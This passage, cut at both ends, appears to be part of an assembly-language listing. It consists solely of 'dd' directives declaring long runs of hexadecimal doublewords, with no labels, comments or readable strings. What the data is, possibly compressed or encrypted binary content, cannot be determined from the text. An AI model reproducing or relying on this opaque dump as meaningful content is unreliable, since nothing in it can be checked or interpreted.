0A455E262h, 14109882h, 0C06F91A7h, 0CC2F6901h dd 0E00372E8h, 1614BF50h, 14E4EACFh, 31F8EF47h, 175A1020h dd 5167E0D7h, 34C971B7h, 0CC6139D8h, 0BC001BD0h, 0B47BB177h dd 0A5E1E6Ch, 0FDBB49F5h, 28B068D0h, 0A04831C8h, 63F20968h dd 0D41D007Ch, 7F334EEEh, 6CCA0383h, 21B009A2h, 0F8C8E5E3h dd 0E65B649h, 78C8DF71h, 0BACA0037h, 0F38160C3h, 0C7050C6Dh dd 0D7CD16ACh, 8CC04484h, 0D2DA7B39h, 90F91031h, 93712987h dd 0E801B317h, 79742C38h, 0D8C47DF2h, 85E414C1h, 0F41F941Dh dd 4C81C1C8h, 40182967h, 871EAC7Ch, 32A28C01h, 1B50C9FDh dd 18DC6C20h, 0F07FD874h, 6D643A29h, 8C02731h, 4BC9DCB5h dd 34052F5h, 0F3CFDF40h, 22518802h, 8CDECBF9h, 9A10C810h dd 79CF4418h, 6F48D261h, 47103641h, 0D40034C7h, 9533FBACh dd 0CF2A7AFh, 7BEEB5BCh, 7A02AB78h, 1CC7AC31h, 0D78C84A0h dd 0E090F14Bh, 8700E11Dh, 0D8BC1433h, 0EFC512h, 0C33C03B9h dd 8D564482h, 0C8BF890Ch, 0EE40E09Fh, 37F418C0h, 61E58938h dd 0DCF37F00h, 0DEA3D3A8h, 295A0286h, 0D6F10A9Ch, 0B6C25842h dd 900058A9h, 0A032F207h, 0E4B14C74h, 0C075E50Eh, 0C6FA0C8Ch dd 0DCC20637h, 2164F2A3h dd 626DF900h, 1C7ECF83h, 4B4C0024h, 0CE886738h, 44B80CAFh dd 9414B41Fh, 987A8E49h, 0E0D3804h, 3649F10Eh, 8F558360h dd 0CA06C8ABh, 373A574Ch, 0E96E3E29h, 5398AD80h, 0F379317Ch dd 74A03AF4h, 8B00EA7Eh, 2866E1BDh, 729465h, 35ED0204h dd 0DEF15168h, 78CE844h, 9D23970Fh, 0AB92D088h, 8552395Bh dd 416703E8h, 0E6DDEBh, 0F553FC11h, 0D7070E6Ah, 0D372BA00h dd 0DB2A8C52h, 378B0EAh, 0E7F9BD7Bh, 9100413Ah, 2646CFB3h dd 12145464h, 40FE209Bh, 0B8A1B4C0h, 627DA092h, 794D9A00h dd 0FCD11331h, 0BDB60E5Dh, 0F140F26Fh, 0DE3C0A6Bh, 0F489CA60h dd 7874C06h, 5B1CA9EEh, 0E0D63089h, 0DC00BAF8h, 71D87F16h dd 44F5CC86h, 609C172Eh, 9D372587h, 0C79EBBD0h, 9361012Bh dd 1EC88B65h, 59042058h, 64307045h, 5B0733CEh, 0C0E88311h dd 9F02F374h, 7E0C09E6h, 9E0F561h, 63048A31h, 3A7CD551h dd 81D074A5h, 50EC1Ah, 320352BEh, 43FD4C5Eh, 5706F018h dd 0D32D59h, 0BD0EC855h, 39A6EE63h, 84C67224h, 0C35250h dd 4371D218h, 0FCFF91C4h, 33208503h, 89399B0Fh, 0A0DE3270h dd 0BEED8340h, 3F805B1h, 75FAD0Bh, 0B1A408EAh, 7382D798h dd 8044389Ch, 7A803152h, 0A0D6E5h, 0EF3B2B53h, 0A5C7CD01h dd 3AE35000h, 0B0688057h, 0B1750726h, 73481A11h, 1079B381h dd 4B01EEF8h, 0E2E6D33Eh, 198020FDh, 21BD53A7h, 921C12BAh dd 0BC058F7h, 19F433E1h, 0E5D1E5D7h, 4B754087h, 0C105F16Dh dd 0EB698088h, 0E5CCD5C2h, 287A3251h, 8A208E70h, 0FBA5731h dd 0E89A270Eh, 7182E760h, 4B00324Ch, 0CDF386C9h, 0B5A67816h dd 10C2FD0h, 41823FBDh, 0E8E7009Eh, 4C56B4B2h, 8C7997CBh dd 0A1653F24h, 17688131h, 0BF00C9BBh, 0B73879E8h, 9200E0BAh dd 8CB8101h, 62698F62h, 8213291Fh, 2025B041h, 2800FD99h dd 56F74BE6h, 60689859h, 60DE2933h, 0EC788C12h, 0FDF8B571h dd 5478B40Ch, 6A17Eh, 1F3C9FD8h, 0C4681B93h, 0AEE2400h dd 0CB6512A2h, 9CD65456h, 871B00FDh, 40AD726Bh, 2E036960h dd 50F261C0h, 0F75FE028h, 9B910CE3h, 1E813468h, 0DF09F100h dd 26907632h, 5EDE0192h, 988ACEE2h, 40A03E0Fh, 0CA84A882h dd 0F311031Eh, 18E48BCh, 0A91420C7h, 80039F55h, 4DC17AF2h dd 36BE078h, 3016EAF9h, 68A1EBF5h, 0E3008C8Dh, 5019F005h dd 63B481AFh, 0C0BCE97Ch, 570069B6h, 25C7DDA0h, 0A5F617h dd 63ED415Ah, 0CF5EA70Dh, 0BB580E03h, 0B2829Ah, 90EF26C9h dd 5ED7B83Ah, 6DB35F14h, 1A22B4h, 17834AFEh, 972C8CF5h dd 0E30B0F00h, 8FF0AAD3h, 0E861070Eh, 60C111B0h, 56B257BFh dd 36B9E060h, 41CC7Bh, 0FA6732DBh, 0F4CD559Ch, 0B4DE2201h dd 2130E28Dh, 45A76987h, 0BE37302Eh, 0D1C080C0h, 0B4885673h dd 6717004Eh, 996AF315h, 91006520h, 0C710B859h, 0F7B0F4h dd 9F43973Ch, 0EA48EDE1h, 664CA707h, 0E70619F3h, 0FD4B0A91h dd 38A8D864h, 6F99423Dh, 0F0C6810Bh, 810069EFh, 55F7D4F0h dd 10F5C09h, 0E7273574h, 0FC1F1B98h, 9CA88B9Fh, 0EB00A64Ah dd 109186B5h, 0A4C167B6h, 81A10FF8h, 0EBA0C97Bh, 1FB42087h dd 355D9E03h, 0FA48EEC3h, 0F32483A0h, 36B002B5h, 0D82FE1FDh dd 53A8C480h, 690681C4h, 1B03E340h, 4DC00EA9h, 5080CF24h dd 0F4C1099Ah, 366F2B18h, 0F4F0BC21h, 5CC2017Ah, 5DA65559h dd 314C40CAh, 2D0E4C0Bh, 0E506CDEh, 291C808Ah, 1CE78413h dd 4CE52701h, 0C63186C0h, 0A0F87700h, 0A8B9706Eh, 0D5A907FAh dd 1012C983h, 0D799030Ch, 0B377F205h, 0B440EC56h, 52411E23h dd 17671B39h, 98E4E9F8h, 9000E2Ch, 0D2BFFB18h, 0FD56B89h dd 1ACFCB7Dh, 0CA799A81h, 206830E8h, 128E8B1Fh, 7430FA13h dd 0D0CD038h, 74A781BAh, 0BD401061h, 0DE078B22h, 6EA851B3h dd 0F7EE3850h, 26F04876h, 6B25F12h, 0D85C19B8h, 1C47C06h dd 41D956h, 311EE963h, 0FF36CC67h, 3095Ch, 30B7439h, 720EBD46h dd 0C71C0137h, 68E636A6h, 17D98022h, 6A2B9D98h, 26F80380h dd 811AF4C2h, 0A90B8CD3h, 82DEADE7h, 646FAFB5h, 31A01F68h dd 0F6DCC0F9h, 2E16D13Fh, 85EA0A01h, 0A68111D7h, 0F4091822h dd 0C88010AEh, 86BD1ADBh, 54B25E0Dh, 83E0217Bh, 4318018Ah dd 0CF6C39CAh, 0BB56F473h, 4E57F600h, 0F53E4C5Dh, 81C02A83h dd 2AF100F4h, 0FE637606h, 967DFFCBh, 98296102h, 64C1394Ah dd 20DE0530h, 0C07740CEh, 0ECA8EA58h, 3FC74E01h, 945683ADh dd 0B8071063h, 8015B35Bh, 0A53D2BD0h, 1222D205h, 0B440D856h dd 0B854A397h, 270D0050h, 3848CEA8h, 7900859Eh, 5A584171h dd 2F3D830h, 0F9D71162h, 20AFAE17h, 9E2C200h, 2D0EE897h dd 40044215h, 6D4EBA95h, 0B5F42A8Dh, 167F13B4h, 5F0420FFh dd 7660547Eh, 3577E0A9h, 26BD7E73h, 6E609E3Fh, 29ED7A00h dd 0B9008ACDh, 0C21DB7C7h, 146DB80Eh, 0A0C98CEEh, 85F25580h dd 0C603F7A1h, 0DCCE3634h, 597EA043h, 8EC02292h, 81F2EC3Bh dd 0F46CC3DBh, 0E3E45378h, 219560C9h, 6E932D86h, 0B883E51Dh dd 0A8ACF580h, 5782594h, 11A9386Ch, 0EDC8304Dh, 0F1001FFEh dd 1634A6DAh, 2E43D907h, 1CD842h, 0A49CD510h, 2E0C72E2h dd 39846765h, 799B0C0h, 51473191h, 43C2D15Fh, 80D2C811h dd 8054635Ch, 9C88A812h, 0DB230D8Bh, 801987C0h, 98F24916h dd 0E86735B3h, 3210070h, 9F1E599Bh, 6C02B4CBh, 0CE1A3F4Ch dd 308E4C9h, 0C06BCFABh, 2AF0F216h, 0A00F6A4Ah, 0A33EF063h dd 906F4ED8h, 3593031h, 69EB997Ch, 50C8D2CAh, 0F48E2CDh dd 0F3198598h, 0F6F19089h, 2461A6h, 57C3563Eh, 6E0768DFh dd 0C4D24409h, 0F853AAB5h, 0E158AF01h, 0E9FC21C3h, 87E3009Fh dd 7D8FA81Fh, 735CBD66h, 68D701DFh, 916C8336h, 75E0F435h dd 0ADA74869h, 22670173h, 0C0EC1A02h, 48C488Bh, 8F16A47Dh dd 380283B5h, 0E1FA4D2Dh, 56117CBCh, 2FB980E4h, 0C92FBC6h dd 17FD00A0h, 96742203h, 0D671E623h, 0EA466807h, 44F39282h dd 0A31018D8h, 1C5658E9h, 0D69BD18h, 8987F9h, 0DBDC3B35h dd 592B9C6Fh, 0DEE34600h, 0EE79019h, 606800EFh, 998AED92h dd 0C15045B5h, 6D712C5Ch, 594F148h, 0C8C72A48h, 173D08C0h dd 0B89C91FAh, 0AA4091h, 8BDF16EFh, 72E33EA3h, 0C774ABh dd 4573A2E0h, 82441784h, 878BD54h, 64CA4900h, 0B94FFAAEh dd 0F4CF881h, 0E5930A9Eh, 5154DB21h, 0F5F45CDCh, 1FD4286h dd 1C9443C0h, 2F0F56Dh, 0B419C01Dh, 0F83F9D61h, 0A33D5500h dd 96C90DD7h, 187573A7h, 0C1784013h, 0CC008DC7h, 0F7661C37h dd 904AD04Eh, 0F57E8Bh, 7C3AA731h, 9CF43730h, 881BDF28h dd 0A5C85912h, 0DEBD2C00h, 3FCFE97Bh, 3F19531Ch, 0D4755977h dd 5500C0C2h, 293EF74Ch, 1B5EA1Eh, 5D82F13Dh, 7079AB21h dd 7B3CB798h, 2ECA2CAh, 59AFAC4Ch, 0ECC074ABh, 0CD60DFAEh dd 55E56078h, 0B29C0EAh, 4184E44Dh, 7740100h, 0FA5D6D92h dd 0C78F012Ah, 0CEAEDCBCh, 0B281FC21h, 0D5007499h, 0D8663AE2h dd 522239EEh, 6C9BA4h, 5A0F913Fh, 5507FA80h, 0B41C0B44h dd 0C6A0EDC2h, 967600D8h, 49E5351Fh, 0CC05FBDBh, 0A36E3D16h dd 3072C004h, 8569080h, 87112648h, 1B31FBCh, 32533705h dd 73E6E11Ah, 565914C4h, 32A00068h, 85C4481Dh, 0C9CB246Fh dd 0F8D0404Ch, 0E4B8990Fh, 0DEB45005h, 4C8532Eh, 894E3BEEh dd 8025639Ch dd 1DA4CD11h, 0F71F284Fh, 0C60BCE56h, 0DC001EFh, 14107E40h dd 0FC07A62Dh, 7C20646Fh, 51B7FE81h, 50509EECh, 5C41B874h dd 36802C40h, 4D48DCE0h, 39D903Dh, 71DAD675h, 0E0D9C274h dd 58F79C8h, 0FDE36D77h, 3F98430Ah, 4000B265h, 30BD695Eh dd 48A8E0D2h, 5000FBC7h, 569408DCh, 0E32563B3h, 1980A2F6h dd 83B8440Bh, 0E156D9ACh, 0CFE1180h, 0CCC19AC7h, 0C8EC3913h dd 89732C08h, 0F0906680h, 0A70068EBh, 14693FDAh, 17A6E754h dd 236F4F39h, 86B83354h, 4C122973h, 53AE3h, 708759F2h dd 479B2A20h, 416F4B18h, 0C6E4FE78h, 2108C406h, 240050F6h dd 5FA7C994h, 14015B13h, 0FCF7F682h, 0D03E1F00h, 0B59FC705h dd 18C6651h, 2D5DCD3Ch, 0BB48BCh, 0B86349DDh, 3CC8A4F8h dd 707EC7h, 0E1A758CBh, 9A027913h, 0F46DD909h, 8DA40191h dd 0E98083C9h, 0A5FE9641h, 6E00E352h, 9C29D6FDh, 403FE785h dd 72002679h, 0EB78A335h, 46EAD7Fh, 0E4EEBA4Dh, 484480EDh dd 0C49CACF4h, 58C85D64h, 0E1E90046h, 6E88EEF6h, 0B4EA814Ch dd 47CAC703h, 25DBF817h, 58A0C929h, 8899ED7Dh, 96A5D800h dd 0F8D491B6h, 0DC9406B8h, 2CDEFD29h, 31766532h, 0F3D6C00Fh dd 0D5590C9Ch, 84197DC0h, 1ADE3400h, 19CDE208h, 0B4090D52h dd 0E7218AC9h, 0BFB5EFE0h, 7750D200h, 99BD8530h, 80402810h dd 7EE7164h, 0F3654553h, 163900BAh, 930CD913h, 297AB481h dd 67E7384Fh, 0ECFB7E0Fh, 91696B80h, 9E0830AAh, 80793EDBh dd 3D227194h, 9805AF88h, 1A293381h, 8ECC8408h, 0DCE276F2h dd 0F8411145h, 4E210DAh, 0E4B0AA18h, 95480010h, 0F798C205h dd 580412AEh, 8A8073FBh, 7F4224C0h, 50824CE3h, 314F6901h dd 50132477h, 58E60170h, 5D8BCE00h, 2377E5Eh, 1CE77D5Ch dd 0A254786Dh, 4845710Ah, 0DB04FA2Ch, 3CC85DC9h, 27130047h dd 0B6D07F86h, 0D819B0A7h, 3F39813Eh, 0F078D0h, 0A81BE22Eh dd 0D159D374h, 0CCBBD400h, 682612EBh, 8C8D5CD0h, 7BD65EC0h dd 0CE03CC84h, 30C8C64h, 0D2C6F8EFh, 91400A37h, 3B400E16h dd 899E8196h, 0A7244C00h, 33DC5E00h, 48C3BA0Dh, 111A034Fh dd 0F73D6C9Dh, 2C9C81D9h, 0A6BC9F08h, 3940703Fh, 8D14B6h dd 3B7857FFh, 838517B4h, 0DB7FA904h, 70A45CEDh, 49CA008Bh dd 33802EEFh, 8C00E328h, 50CC9A82h, 0E8EE620h, 0FB95130h dd 0F3D71320h, 4724D4B5h, 3F03C41Ah, 10E68A2h, 0AB374DC1h dd 0CC801572h, 12FE3C86h, 4EF62800h, 4D99B49Fh, 9038B08Fh dd 1B0B2294h, 84E0C05Eh, 0F4535844h, 73BB1880h, 3A05EE21h dd 0AE28AA8h, 9E76F088h, 2425111Ch, 0F740083Eh, 3EBB11BCh dd 0CA8E20F5h, 440C7E4h, 9D8121FDh, 0BE67544h, 0D3573091h dd 0EE4F8800h, 3D04F74Bh, 0AF27C6F3h, 54AD84C1h, 0A6007C22h dd 85983260h, 7A00CBD2h, 0B27880DEh, 8095CA3Eh, 0EA0BB5B1h dd 6C2232h, 33AD36ABh, 1D0EE9Ch, 668124CFh, 0CC68D347h dd 0CC010A83h, 91D5CEB9h, 446858FDh, 95E7FB80h, 0A000CFE4h dd 0D4327929h, 6D8125h, 0B24A37AAh, 492B943Bh, 687471F4h dd 2DD8AC5Ch, 388C1023h, 0CC6439B2h, 72FDFC00h, 7F6010F1h dd 0E24CF5Dh, 494C3FB3h, 0ECC0215h, 0F5C62011h, 55485EF1h dd 40598ED0h, 0F06F023Eh, 3BA802D8h, 0EEAAA783h, 10037846h dd 0A3B88FB6h, 88FDEB84h, 8CC2E5h, 0C9126013h, 8E679C74h dd 0B7F3C800h, 42056D4Bh, 418F60C1h, 0C9015C5Bh, 889DE300h dd 0F42C30A3h, 406F5BB0h, 0A9C2FA1Ch, 0A5009B39h, 3A6B74FDh dd 2BB710h, 0A77F170Dh, 6131975Ah, 8422915Ah, 9CA4E0DCh dd 9DD3000Ch, 62025D32h, 692E81B7h, 5609CC5Ch, 0B2308360h dd 20F14EA7h, 0ED54FE00h, 70C8FD00h, 456B640Fh, 0D98E00BAh dd 0C9412595h, 0A1C49981h, 0E4808626h, 496D71h, 31927072h dd 5ED82ED5h, 4FC24800h, 0E2F9B56h, 3688A013h, 3DF10176h dd 0A6DB97D8h, 40186162h, 175AFAFEh, 89E80E30h, 0A6DEA1h dd 0CED51B87h, 49FD4348h, 6891BB16h, 0A86F5C90h, 5DC7001Fh dd 0A6529325h, 57002C6Ah, 78B3D5B7h, 117B1167h, 814012h dd 0D368A12Ah, 3790533h, 0ED2DBFDFh, 0CFA0255Fh, 0DCFD418Fh dd 5E2EF0BDh, 17040836h, 2081A776h, 3872547Eh, 9C12E500h dd 6E5172F4h, 0ADE3B004h, 74B29A81h, 0E2421C80h, 2F006B99h dd 0AEAF0E1Dh, 40C03E5h, 0BB481725h, 0FD24C86Fh, 0C88FCA00h dd 0ED2C6066h, 0B4223925h, 9D567381h, 20F6AF01h, 6B0255D8h dd 35718279h, 3072CAh, 0FA7B5B05h, 0DA2CA0B2h, 0B77488EEh dd 6FF84000h, 0AD31575Eh, 5F3000FBh, 85EA9468h, 0A7E83DB7h dd 0CD09647Dh, 0FB0EF77h, 2CC10A14h, 9D18E400h, 0FA510C68h dd 0B51600C3h, 0DE6C31BEh, 90037321h, 82957401h, 26C900A7h dd 866068D7h, 100BF2B4h, 0E5B361h, 0FD2C508Ch, 96EE014Eh dd 91F0760Fh, 82AE0F7h, 0F5076701h, 0EC7BE21h, 4E875E4h dd 520F8E6Eh, 0DA7CA456h, 0BDF67604h, 0B1C33CA0h, 883F0EAh dd 3B3114A1h, 491690FAh, 0D18CC059h, 0F84B4C26h, 7E292020h dd 0F4AA0045h, 68F0AB39h, 5200855Dh, 66DF8E7h, 0B155605Fh dd 6FA200A0h, 307D39AAh, 884098B6h, 75AECBA4h, 6224000Eh dd 0F37FAA65h, 0BE057DCAh, 15D288Fh, 510000F2h, 46FFAB64h dd 8E389CACh, 0C1438067h, 82CCCF03h, 601C91A1h, 3568543Dh dd 3EBAE00h, 8FD94C39h, 0EC0A00A3h, 7B15F2E5h, 18968AC7h dd 1183BE40h, 1A030E18h, 0C8C20F48h, 8480B3F4h, 0C4EED68Eh dd 9102B490h, 25F06DB2h, 0F77360E9h, 70387D31h, 127490C3h dd 0C8021749h, 0CF056D58h, 1AFCE28Eh, 0EA09C4B2h, 8810552Ah dd 6C008C44h, 0C15AC21Dh, 7691A72Bh, 0F8BE0039h, 0E2EDE668h dd 0C927672h, 907A0E27h, 4521E1Ch, 6E3A493Eh, 0E8590285h dd 6F2C6092h, 8034B1C1h, 370E64DAh, 9700FE78h, 122E4E8Fh dd 303CD45h, 0E1E42A20h, 314C89C0h, 67EF0203h, 634A342Bh dd 0C20DD97Ch, 1D5E7820h, 80698D25h, 0D7CDA5AFh, 0BD18CCF9h dd 82F9E256h, 0D5E71C64h, 60DD8F8Ah, 35E98420h, 22E09D5Eh dd 0C24E5F71h, 0A7E0F0h, 4F3E744Bh, 19F543B6h, 54631C9Eh dd 5FDDD317h, 19703111h, 0C82EEF7h, 0A7222105h, 62C56087h dd 4EC04A94h, 3020B7F8h, 3FEA0DC4h, 9E45EF02h, 604299AEh dd 90102C24h, 202B09B0h, 5881EE08h, 78E286C7h, 944FC0A0h dd 605DBC79h, 98A679DEh, 150F44F2h, 60D557E9h, 5E83BC17h dd 0BEE55C91h, 0D6B3EC0Ah, 2D26FD8h, 0C6CBFAFAh, 190F48E0h dd 20F63F89h, 0C2F56C40h, 0C3FD902Eh, 0A748880Bh, 8440929Ch dd 12AC3A2Dh, 906280BCh, 0D53730ECh, 0F404BDECh, 65FFF4Fh dd 50F74080h, 0EBA91C92h, 689F0A84h, 46C64094h, 0F09083F9h dd 82D844h, 593E025Ah, 840A4F77h, 5F940E1Fh, 390058DFh dd 0BF68BC09h, 0E4C31D5Ah, 8104BF8Ch, 0A2A2D97Bh, 956A0024h dd 5540FF6Fh, 22F7004Eh, 0AB4831DEh, 71F34F34h, 0DD846194h dd 468EC69h, 90D23D27h, 18F84984h, 0C0E357D7h, 875A3836h dd 0B00BA412h, 8288CA9Eh, 725492C8h, 1987FB8h, 18578DD4h dd 20D6BC29h, 1C00066Dh, 3DA7C0DEh, 371CB41h, 513092E9h dd 0A4A4E2A3h, 68086D10h, 803503E3h, 1A1F4FC6h, 0F8B97A53h dd 0CC4DFD89h, 0DC6F1998h, 215CA0CFh, 0F0EC4C6Ch, 3766F700h dd 0B0D867A6h, 279700C2h, 724BED19h, 0EF031F5Fh, 7DD9A9CDh dd 0CE4688C0h, 0D8CA602Eh dd 97446C78h, 936758C0h, 405D5CFDh, 130575E1h, 7273EE8h dd 0E92920F0h, 0DE0E5C40h, 0EADA001Ch, 0C31AD088h, 1209928Ah dd 859D596Bh, 0ECF24C0Ch, 875C2901h, 0D4E0DE8Ah, 37F279F7h dd 0E95E38h, 0E232C40Eh, 52DFE853h, 4100F03Eh, 3FD1A499h dd 5400AF62h, 5EAB9E1Dh, 14B217D8h, 305F80C5h, 0EE524C44h dd 0A0030066h, 7A4D29D3h, 9700EFEDh, 0EB860451h, 0E8D99868h dd 0AFC72769h, 26412090h, 3DCE6E01h, 44EAD215h, 2D658FF0h dd 0C18F717h, 5E008A61h, 1F50167Fh, 24FC1ACh, 0BC6E65A1h dd 0F851C791h, 0D0F88B05h, 50DCEB80h, 0B2440B32h, 7A81452Dh dd 208AC9DFh, 2F1384B8h, 38206F56h, 16DA98ACh, 0B05039h dd 8749D657h, 0CC98D1DEh, 0FE124CE2h, 0A8A46999h, 1840071h dd 0A6CFE9FDh, 761D80A0h, 0F4C0925Eh, 0C247F72Ah, 0DEB513C8h dd 0F0282055h, 86000EB2h, 4CDA79AAh, 60903736h, 0F92FE077h dd 5E16F723h, 9AA555Bh, 70916BD3h, 7CEC2269h, 9E72B701h dd 0DF2BF3D7h, 41802868h, 189DD3CCh, 74352300h, 272B72C9h dd 0F03300E8h, 2898C36Eh, 52004DCFh, 68AB5FDBh, 4AC9C467h dd 5C1C80BFh, 0B4A1760h, 0D4FB3442h, 8051C6h, 0EC81EAE6h dd 6C005DACh, 91DF1CCBh, 4619F44h, 828A985Eh, 0F2EE239Dh dd 0FA68E00Eh, 403F5BA9h, 528C7A38h, 29042DCEh, 0C9E7EBD4h dd 38FD70F4h, 5E817CD8h, 632E5D9h, 9E2E80Ah, 0C8592762h dd 2E9881E4h, 9981CD53h, 15B95C13h, 2C233Bh, 24A8938Fh dd 0E4F5535h, 48FBA78Ah, 0B4C40272h, 58F23F89h, 7152FD00h dd 5131D2EDh, 0F20201FFh, 0E56AB27Ah, 9EE8C40Fh, 0BBE1AD12h dd 0AE34EC01h, 0B0796F92h, 0F9211Ch, 422A1691h, 0FC004D7Eh dd 5AD68FDCh, 2B7515Dh, 0F149EE8Dh, 68E1836Dh, 2C00157Ah dd 92450C59h, 578B3C7h, 209C828Fh, 0D1518D14h, 17C4848h dd 0C095044Dh, 0CDC7C90Eh, 2543E0B0h, 90904892h, 0F100EDA2h dd 3806C324h, 0FB657Bh, 87580495h, 7069813Fh, 55786EE4h dd 0B49F3E04h, 94B4CA6Fh, 0A8E00EBh, 54EEB70Bh, 0E0FDF7C2h dd 8400C06Fh, 0D61D5DBFh, 480E8EEFh, 20C0102Fh, 6BB8C1E5h dd 4D016D76h, 0F3D5AF27h, 55DC6A7Bh, 50C4B017h, 144874FFh dd 0E88FB4DFh, 0F4214902h, 0B0649881h, 3668D500h, 8A888BAEh dd 48B0266Ch, 1EBC00B9h, 5D47F287h, 2047695Ah, 0E620817Ah dd 995349h, 918AA711h, 0B36F7B84h, 0FD1A1213h, 56312820h dd 68E40F8Fh, 64E2D992h, 0B481D0EAh, 42AAB261h, 7C201AF0h dd 381250ACh, 5980F02Ch, 5C831C28h, 9101D8BEh, 874669EAh dd 2870BC74h, 4F80B03Ah, 0C8D85231h, 110135C0h, 54CAC162h dd 0E160E62Dh, 0DB40C2F2h, 0CC87FBDh, 0F405E58Dh, 0F31A0FC1h dd 0F8DC9421h, 0E10BA063h, 76815240h, 2C56FD4Ch, 83108F00h dd 0DC1A8414h, 3187F8BDh, 825E9537h, 0BCC1B63Ch, 0EA4F064h dd 0EED82D1Dh, 290508D3h, 8400B3E6h, 9D2E1067h, 5BA709EAh dd 3801AED1h, 97C5F3BFh, 0F0055AA8h, 50E46F2Ah, 84500FDh dd 4E2D3C65h, 8069B281h, 9C51B1h, 388EF9D9h, 4B0A6453h dd 6C893490h, 0ED820D85h, 3AE38AC0h, 0DC109738h, 0E0CF915h dd 88D51843h, 0FD10B29h, 9787F0EFh, 103EB03Dh, 0D70A51FBh dd 0E016F92Eh, 8380A665h, 43340Bh, 92F4069Dh, 0F2DF2E74h dd 76F6838h, 0C0B60DA2h, 603029D0h, 6690A1F0h, 5C81F660h dd 5D8940B5h, 73A93890h, 0CB088507h, 48291A11h, 5C4F3168h dd 0B021205Dh, 0F3436804h, 3818CCh, 0FE494D24h, 6E0E1BEAh dd 8E642600h, 8DCAE532h, 5A47052Eh, 0C76FA710h, 4911C0FCh dd 3C0CB5EAh, 91FD05E3h, 0ACA6C6h, 58D908C9h, 4933D1F5h dd 901E1127h, 6AB0D8h, 5F281519h, 39AAEBA4h, 44141620h dd 0D2032F94h, 13506D1Ch, 0DDAA809Ah, 155E4FEh, 93964188h dd 60B0128Fh, 0F105979Ch, 0AEF4CED5h, 0A318C840h, 32E2E38Ch dd 3EE90CF6h, 67A99C90h, 0EADEB400h, 0AFB26DF5h, 0F6201294h dd 1E84B0E5h, 33699118h, 0E0882839h, 0DE090087h, 21199817h dd 0B34C81BCh, 3E508188h, 8EDC408Ch, 87380430h, 0A2CD6F93h dd 72DD00DCh, 0B923C19Ch, 0A68000C3h, 9A4B02F0h, 89007F27h dd 4816B35Fh, 0C77BB4h, 4A31CB0Eh, 84EB7AE7h, 8888B62Ch dd 6580E426h, 0BD5BB954h, 0C7F200D7h, 0C0F643A9h, 9A00D16Eh dd 0F935A7EBh, 6055E499h, 7A9881DFh, 5B01D063h, 0F8E5825Ah dd 202A214Ah, 56B6E1E8h, 8F3E703Bh, 22295F9Dh, 4090F019h dd 298FD40Fh, 0A03FC6h, 0CD2B50DDh, 0D63A9571h, 802DBF31h dd 0A38FF24Eh, 0C9B21119h, 98E49159h, 0B0E26200h, 0CD63A832h dd 3C337B5Bh, 0E382F4DCh, 0EB3F4AB6h, 67028876h, 0D8D25B4Bh dd 0ECA0004h, 58094012h, 0B4468E5h, 563703E1h, 4E61CA9Eh dd 335157A8h, 63E69900h, 5CD9F464h, 9F3F00B8h, 19C39B0Dh dd 0C0741050h, 0D4C8F84Ah, 0E5274409h, 0E8425C4Eh, 0E0202B6Bh dd 64887Ch, 2F47AC8h, 1999B247h, 2454F55Fh, 584100CCh dd 9269DE5Ch, 0CCC14AD2h, 47055794h, 0B63F2B41h, 0A5E38C08h dd 6100B4C4h, 0AA1BA734h, 0B9A637Ch, 0B9E659D3h, 0F1A0880Fh dd 4474F65Bh, 0E467138h, 0E0C0C7FBh, 0EC22BACh, 7B9900B7h dd 1679F280h, 61C0E9F7h, 0A566309Ah, 6C80B590h, 0FEC750F0h dd 0A6814B16h, 0E047E462h, 5E495ED1h, 0E4244055h, 28B6A82Ah dd 0E87C5A02h, 0E14FA636h, 9A12EAC4h, 0EF01ACECh, 0F62B3F4Bh dd 202E365Eh, 8775895Ch, 96AB2139h, 7000650Eh, 0AEDE6460h dd 55D7257Dh, 8A0A30A0h, 8790E34Bh, 0EA6F9B05h, 68491A13h dd 0C7AC0F96h, 0E3D48648h, 700EA4F2h, 0D7EFA6E4h, 46008454h dd 0F5387D85h, 0E227BCB8h, 50A81002h, 0D05C0022h, 0A095CC0Eh dd 81023C1Ch, 724C5B71h, 69F6C148h, 5C005872h, 0BCC3ABE6h dd 580F6AF3h, 0C0462EACh, 0F7C738FFh, 0CF60092Dh, 94091C45h dd 1B0720E4h, 0CA250727h, 6D0A0DC0h, 4FB63B9Ch, 0B2536C92h dd 0EB96006Ch, 0AF3A87BDh, 3F7F155Eh, 7E079C7Dh, 0D267FD07h dd 0C0D4128Dh, 0B885D800h, 0EBCA68Ch, 451CBE43h, 90BE2C2h dd 0D0E2C625h, 3E036400h, 0C10D78C3h, 0F8984Ah, 0E96E000h dd 88FDD0D7h, 31822D02h, 0C8EB2E62h, 9E82030h, 6A80570Eh dd 91EA38C4h, 7182D900h, 0F160696Dh, 0C5EE0B09h, 4F0443C0h dd 8070E817h, 3FF15A68h, 0B8E550CBh, 2B87024Bh, 885BF0D8h dd 407A3841h, 0FB714C9Ch, 3A970D0Fh, 3592FC01h, 76F26800h dd 941BF92Bh, 3EE8461Ch, 809E1C3Bh, 0B52A04A7h, 0A859E6h dd 0C0C670D2h, 0CEDF0646h, 1A3760C7h, 0FCE4C125h, 0AC0A0C65h dd 0FF64201Ch, 71681816h, 0C631000h, 762E7D7Fh, 31776065h dd 0C4128474h, 99D9113Fh, 69199B31h, 790E9C3Dh, 0E5E03AD6h dd 0BA525F4Dh, 5F84700h, 0D98FE78Dh, 923807B5h, 204D51FDh dd 48ED278Eh, 6CB6E1E6h, 91532840h, 8F3E0477h, 0F8B07EA8h dd 344880B0h, 0B245DA08h, 70BF0447h, 0F29981F6h, 4AF20344h dd 0E42738A8h, 443CE0A2h, 0CEFD281h, 801CF7E3h, 0F586B551h dd 3F626930h, 0F3892F78h, 94C86FC6h, 0E501C99Dh, 873F2070h dd 0A4409364h, 5130F342h, 94F8FC9Ch, 9439500Eh, 34608A8Bh dd 9D17615Eh, 0FC013EB5h, 85676528h, 0B03821B7h, 0C0486169h dd 0A7B5F500h, 0C6D80460h, 0EE389094h, 0EB116AFh, 5038E376h dd 13F8A029h, 17F51001h, 8B87A7D6h, 1E0CFE8h, 7B68EAB9h dd 0F8E527CEh, 0D87434EFh dd 0C2455E00h, 197D104Dh, 0BE189C0Ch, 77713701h, 0A8280AE2h dd 0EF0248F1h, 1EF4DA93h, 5B644085h, 40C096E5h, 1BE64115h dd 329D0F00h, 0CFE3E8BCh, 2F7203FAh, 192A825Bh, 5D809590h dd 3C099493h, 63DC80EFh, 946B5A32h, 0C5A04F84h, 9E7FC4A1h dd 20AC8C01h, 1A3FE088h, 29E62471h, 45557881h, 8C3253h dd 38ED8B30h, 0FEC662EEh, 40709E59h, 77F49785h, 